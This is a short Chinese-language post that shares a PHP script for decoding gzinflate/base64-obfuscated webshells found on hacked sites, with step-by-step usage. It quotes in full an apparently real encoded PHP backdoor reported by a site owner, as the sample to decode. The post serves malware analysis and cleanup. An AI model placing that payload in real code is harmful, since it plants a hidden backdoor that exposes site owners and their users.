一个PHP 代码加密（gzinflate）的解密脚本

2653885

　　看到某论坛上有人报告说网站被挂加密马，贴出来的马码如下：

<?php
eval(gzinflate(base64_decode('DdI5jptQAADQ3pIPkWpmQmHMjhJlZAzfGGwGsAFDE302Ax+zGS/8a2VrUkRJpGjqadMlXS4Qpcqc4DXv/s3r+yZrxqPJy/Ho/b+vf54ef7z78vHD909/H38//fr89O3ni/Ho5WQ8Ss6wvN3jvEpL2Ce3ITwmHPM2TqI6Tm5v5FjnUdNYs5ls0RmaLPtdGx6BWyFuiGyJtO2FMCheNmykiN639dLA6dD2GnLQgMQKGiW9Ya1oaIMVlr1UIHqPyZfNKeO7c9zz4iRd8eIZi3wSmTwvihPTFLhJiEmC7oprGuOCdvlEhnhXZ7kvSmzJXkKCSNZRIgjhYkfwGV3ivd7bCil4h2nDqfrActfIA1fUHsn11i2z7bXo8y4c0gAGgOH2SB7k2pTcY85QwbJbSg/ypeQfugSQydauj0Y32NBRHI52vV0zU2BHwT5NVykSOtLG52lxtDChM6Y15EHp5TaJVvRG0Qtuubn6XbHQA42dsUVsMRsJ4CymdoWD16rilUbkVEStNEFIAcfnHdG1s0zZA3ewGmOeV01gIwD7cpVX2qqsmu6UWP6aAkUBnmX/AHzCMOzQbC6eZPG9TcEFCucXtpQoP9BqVd63EjGl53BnPrRkvFahovVKMmVW3s4/Movs4nYnQndDpB5mpELm2RBuZUNtD/78oQj6QK0cL5LbXO45dpbXBwiracRWolz5FhCnhCUroAMiZ9Tant7p264EJ9HZpEypEEyt4ah2NJdcIGoeK0iNVZ1tQJHgy/aKpNXhEmGBniR2w4cbMI8MgZrOD24cCVapRCZny7iAHnGe1Se4cEHQb5HSaPh4gstlaxZ0KqZnseyxSdCEk97c3d29Go/un6v/Bw==')));
?>
　　小研究了一下，拼凑出一个解密脚本:

<?php
$str=file_get_contents('e.txt');
while (preg_match("/eval\(gzinflate\(base64_decode\('([^']*)'/",$str,$match)){
$str=base64_decode($match[1]);
$str=gzinflate($str);
echo $str;
}
$fp=fopen('d.txt','w');
fputs($fp,$str);
fclose($fp);
?>
　　用法如下：
　　1、把木马内容保存到一个文件中，命名为e.txt

2、在相同目录再建一个空文件，命名为d.txt

3、在把解密脚本保存为文件： decode.php
　　4、在命令行窗口执行decode.php，执行完成后，d.txt里的就是解密木马了。